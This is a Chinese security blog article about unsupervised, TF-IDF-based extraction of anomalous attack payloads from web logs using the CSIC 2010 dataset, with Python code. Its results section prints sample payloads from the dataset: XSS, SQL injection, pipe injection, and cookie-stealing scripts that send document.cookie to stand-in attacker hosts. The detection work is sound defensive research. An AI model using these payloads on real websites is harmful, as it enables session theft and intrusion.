技术讨论 | 自动化Web渗透Payload提取技术

栏目: JavaScript · 发布时间: 6年前

内容简介：*本文原创作者：zhanghaoyil，本文属FreeBuf原创奖励计划，未经许可禁止转载做Web安全已经三四年了，从最初的小白到今天的初探门路，小鲜肉已经熬成了油腻大叔。Web安全是一个日新月异的朝阳领域，每天的互联网上都在发生着从未暴露的0 Day和N Day攻击。这时一个大家都意识到的重要问题就浮出水面了：如何能从海量Web访问日志中把那一小撮异常请求捞出来，供安全人员分析或进行自动化实时阻断和报警？

PS：本文仅作技术讨论，禁止用于其他非法用途

*本文原创作者：zhanghaoyil，本文属FreeBuf原创奖励计划，未经许可禁止转载

0×0 写在前面

做Web安全已经三四年了，从最初的小白到今天的初探门路，小鲜肉已经熬成了油腻大叔。Web安全是一个日新月异的朝阳领域，每天的互联网上都在发生着从未暴露的0 Day和N Day攻击。这时一个大家都意识到的重要问题就浮出水面了：如何能从海量Web访问日志中把那一小撮异常请求捞出来，供安全人员分析或进行自动化实时阻断和报警？

对于这个问题，传统的方法是利用 传统的WAF （无机器学习引擎），进行 规则匹配 。传统WAF有其存在的意义，但也有其掣肘。首先，安全从业人员都懂，基于黑名单的防御往往存在各种被绕过的风险，看看安全论坛里各式花样打狗（安全狗）秘籍就可见一斑。其次，传统WAF只能发现已知的安全攻击行为或类型，对于新出现的攻击存在更新延迟，维护上也有比较大的成本。我认为这些问题都源于一个现实——传统WAF不能对其保护的网站进行建模，因此只能基于已知规则，对各式各样的Web系统进行统一的 无差别 的保护。

近年来，机器学习（包括深度学习）高调闯入人们的视野，也逐步应用在了信息安全领域。基于机器学习的WAF相关论文和文章也看了一些，似乎大家都主要应用了有监督机器学习，也都提到了一个问题：有标记的攻击数据集（黑样本）难于大量获取。而一小波提出无监督异常检测思路的文章，又会遇到精确度低的问题。

针对这些问题，我决定先进行一些分解。既然直接预测整个请求是否是攻击很难做到可接受的准确率，不妨就先把异常的攻击Payload找出来。找出来后，就可以用来进行精准的攻击分析，还可以帮助优化WAF规则等。本文所述的技术最大的优势是无监督，无需先验规则即可自动提取异常Payload。

项目GitHub： https://github.com/zhanghaoyil/Hawk-I （不断完善中，欢迎贡献代码）

0×1 思路

要把异常参数找出来，最显而易见要解决的问题就是如何量化请求中各参数的异常程度。为了最大化利用日志中蕴含的需要保护的Web系统自身的结构信息，我决定对请求按访问路径进行拆解，即分析 参数value在同路径同参数Key的其他参数值中的异常程度 。

具体算法步骤是：

1） 基于TF-IDF对不同路径下的样本分别进行特征向量化，按参数维度对特征向量进行 汇聚 。

2） 基于特征向量提取出样本参数在同路径同参数Key的其他参数值中异常分数AS（Anomaly Score）。

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3） 设置阈值T，取出AS大于T的异常参数值作为输出。

0×2 数据集及预处理

本文使用HTTP CSIC 2010数据集。该数据集由西班牙最高科研理事会CSIC在论文Application of the Generic Feature Selection Measure in Detection of Web Attacks中作为附件给出的，是一个电子商务网站的访问日志，包含36000个正常请求和25000多个攻击请求。异常请求样本中包含 SQL 注入、文件遍历、CRLF注入、XSS、SSI等攻击样本。数据集下载链接： http://www.isi.csic.es/dataset/ 。在本项目Github中也准备好了。

HTTP CSIC 2010数据集单个样本为如下格式：

POST http://localhost:8080/tienda1/publico/anadir.jsp HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Konqueror/3.5; Linux) KHTML/3.5.8 (like Gecko)
Pragma: no-cache
Cache-control: no-cache
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,/;q=0.5
Accept-Encoding: x-gzip, x-deflate, gzip, deflate
Accept-Charset: utf-8, utf-8;q=0.5, *;q=0.5
Accept-Language: en
Host: localhost:8080
Cookie: JSESSIONID=933185092E0B668B90676E0A2B0767AF
Content-Type: application/x-www-form-urlencoded
Connection: close
Content-Length: 68

id=3&nombre=Vino+Rioja&precio=100&cantidad=55&B1=A%F1adir+al+carrito

根据观察，该数据集除路径（URI）和参数外其他Header无任何攻击Payload，具有很多冗余信息。因此对该数据集进行格式化，只保留HTTP方法、路径和参数，转为JSON格式方便后面使用。具体进行了如下预处理，具体代码见data/parse.py：

1） 去除冗余信息。

2） 执行迭代的urldecode。

3） 生成标准化的参数，将大小写字母、数字分别转换为a和n。同时保留原始参数和标准化的参数，用于最终的Payload提取。

    def normalize(self, s, with_sub=True):
        #urldecode
        while True:
            new_s = parse.unquote(s, encoding='ascii', errors='ignore')
            if new_s == s:
                break
            else:
                s = new_s
        #normalize
        if withsub:
            s = re.sub('\ufffd', 'a', s)
            s = re.sub('[a-zA-Z]', 'a', s)
            s = re.sub('\d', 'n', s)
            s = re.sub('a+', 'a+', s)
            s = re.sub('n+', 'n+', s)
            s = re.sub(' ', '', s)
        return s

0×3 实现

根据算法步骤，项目主要分为向量化和参数异常评估和异常Payload提取两部分。

0x3a 向量化和参数异常分数

一个Web访问记录的成分是比较固定的，每个部分（方法、路径、参数、HTTP头、Cookie等）都有比较好的结构化特点。因此可以把Web攻击识别任务抽象为文本分类任务，而且这种思路应用在了安全领域，如有监督的攻击识别[1]、 XSS识别[2] 等。文本分类任务中常用的向量化手段有词袋模型（Bag of Word，BOW）、TF-IDF模型、词向量化（word2vec）等，兜哥的文章[3]已经做了详细的讲解。

经过对Web日志特点的分析，本文认为使用TF-IDF来对样本进行向量化效果更好。一是经过标准化后请求参数的值仍会有非常多的可能性，这种情况下词袋模型生成的特征向量长度会非常大，而且没法收缩；二是每个请求中参数个数有大有小，绝大多数不超过10个，这个时候词向量能表达的信息非常有限，并不能反映出参数value的异常性；三是TF-IDF可以表达出不同请求同一参数的值是否更有特异性，尤其是IDF项。

举个例子， http://ip.taobao.com/ipSearch.html?ipAddr=8.8.8.8 是一个查询IP详细信息的页面（真实存在），在某一段时间内收到了10000个请求，其中9990个请求中ipAddr参数值是符合xx.xx.xx.xx这个IP的格式的，通过0×2中提到的标准化之后，也就是9990个请求的ipAddr参数为n+.n+.n+.n+ （当然这里做了简化，数字不一定为多位）。此外有10个请求的ipAddr是形如 alert('XSS') 、 'or '1' = '1 之类的不同的攻击Payload。

经过TF-IDF向量化后，那9900个请求ipAddr=n+.n+.n+.n+这一项的TF-IDF值：

TF-IDF normal = TF * IDF = 1 * log(10000/(9990+1)) = 0.001

而出现ipAddr= alert('XSS') 的请求的TF-IDF值： 

TF-IDF abnormal = TF * IDF = 1 * log(10000/(1+1)) = 8.517

可以看出异常请求参数value的TF-IDF是远大于正常请求的，因此TF-IDF可以很好地反映出参数value的异常程度。

熟悉TF-IDF的同学一定有疑问了，你这TF-IDF的字典也会很大呀，如果样本量很大而且有各式各样的参数value，你的特征向量岂不是稀疏得不行了？对于这个问题，我有一个解决方案，也就是将所有的TF-IDF进一步加以处理，对参数key相同的TF-IDF项进行求和。设参数key集合为K={k1, k2, …, kn}，TF-IDF字典为集合x={x1, x2, …, xm}。则每个参数key的特征值为：

vn = ∑TF-IDFxn   xn∈{x | x startswith ‘kn=’}

具体代码在vectorize/vectorizer.py中：

    for path, strs in path_buckets.items():
        if not strs:
            continue
        vectorizer = TfidfVectorizer(analyzer='word', token_pattern=r"(?u)\b\S\S+\b")
        try:
            tfidf = vectorizer.fit_transform(strs)
            #putting same key's indices together
            paramindex = {}
            for kv, index in vectorizer.vocabulary.items():
                k = kv.split('=')[0]
                if k in param_index.keys():
                    param_index[k].append(index)
                else:
                    param_index[k] = [index]
            #shrinking tfidf vectors
            tfidf_vectors = []
            for vector in tfidf.toarray():
                v = []
                for param, index in param_index.items():
                    v.append(np.sum(vector[index]))
                tfidf_vectors.append(v)
            #other features
            other_vectors = []
            for str in strs:
                ov = []
                kvs = str.split(' ')[:-1]
                lengths = np.array(list(map(lambda x: len(x), kvs)))
                #param count
                ov.append(len(kvs))
                #mean kv length
                ov.append(np.mean(lengths))
                #max kv length
                ov.append(np.max(lengths))
                #min kv length
                ov.append(np.min(lengths))
                #kv length std
                ov.append(np.std(lengths))
                other_vectors.append(ov)
            tfidf_vectors = np.array(tfidf_vectors)
            other_vectors = np.array(other_vectors)
            vectors = np.concatenate((tfidf_vectors, other_vectors), axis=1)

这些特征向量能否充分反映样本的异常性呢？我使用未调参的随机森林模型进行验证，得到了大于95%准确率的结果，比较满意。下图是模型学习曲线，可以看出仍处于欠训练的状态，如果样本量更充足的话将会得到更好的效果。

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由于本文所述方法旨在使用无监督学习提取异常参数，并不用纠结于有监督分类的结果，只要验证了提取的特征的确可以反映出参数的异常性即可。

0x3b 异常参数值提取

得到参数值的异常分数下面的工作就简单多了，主要就是：

1）数据的标准化（Standardization）

2）根据阈值确定异常参数

3）根据异常分数在训练集矩阵的位置提取对应的参数值

这部分没有什么特别的逻辑，直接看代码吧：

if name == 'main':
    x = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_x.npy")
    params = np.load(f"../vectorize/paths/~tienda1~publico~registro.jsp_params.npy")
    with open(f"../vectorize/paths/~tienda1~publico~registro.jsp_samples.json", 'r') as sf:
        samples = json.loads(sf.readline())
    #Standardization
    ases = StandardScaler().fit_transform(x[:, :len(params)])
    indices = ases > 6
    #extract anomalous payload
    for s in range(indices.shape[0]):
        for p in range(indices.shape[1]):
            if indices[s, p] and params[p] in samples[s]['OriParams'].keys() and samples[s]['OriParams'][params[p]].strip():
                print(f"##{params[p]}## ##{samples[s]['OriParams'][params[p]]}##")

提取结果：

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##modo## ##registroalert("Paros");##
##ntc## ##|##
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##modo## ####
##modo## ####
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##dni## ####
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##modo## ##|##
##ntc## ##alert("Paros");##
##ntc## ##alert("Paros");##
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##ntc## ##367411357982441A##
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##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org##
##ntc## ##6031155114009786bob@alert(Paros).parosproxy.org##
##modo## ##|##
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##ntc## ##7238071991283064 ##
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##cp## ##0529A##
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##modo## ##'INJECTED_PARAM##
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##dni## ##+##
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##modo## ##registrosessionid=12312312& username=document.location='http://hacker .example.com/cgi-bin/cookiesteal.cgi?'+ document.cookie##
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##dni## ####
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##modo## ##registro@40##
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##cp## ##46715alert("Paros");##
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##modo## ##registrosessionid=12312312& username=<script>document.location='http://attackerhost.example/cgi-bin/cookiesteal.cgi?'+document.cookie</s cript>?##
##ntc## ##1771682809315400' AND '1'='1##
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可以看到，至此已经把异常参数值提取出来了，包括SQL注入、XSS、命令注入、CRLF注入、文件包含等典型的攻击Payload。

0×4 后续计划

这篇文章算是我在信息安全领域应用机器学习一系列尝试的第一篇，思路不算清奇，也没有什么特别的难点。但我个人喜欢先抑后扬，不管怎么样先把成果搞出来，然后再慢慢优化和进步嘛。路总是一步一步走的。

后面我打算还是在Web安全这个领域做一些机器学习应用尝试。这篇文章只是静态地提取出异常Payload，而没有利用到关键的Web系统结构信息，包括访问时序的特征，访问来源主体（IP、UID、设备指纹等）、访问分布的特征，我将充分利用这些信息，尝试开发一个无规则化的简易机器学习WAF。

参考链接：

[1]: https://github.com/Monkey-D-Groot/Machine-Learning-on-CSIC-2010

[2]: http://www.freebuf.com/news/142069.html

[3]: http://www.freebuf.com/column/167084.html

*本文原创作者：zhanghaoyil，本文属FreeBuf原创奖励计划，未经许可禁止转载


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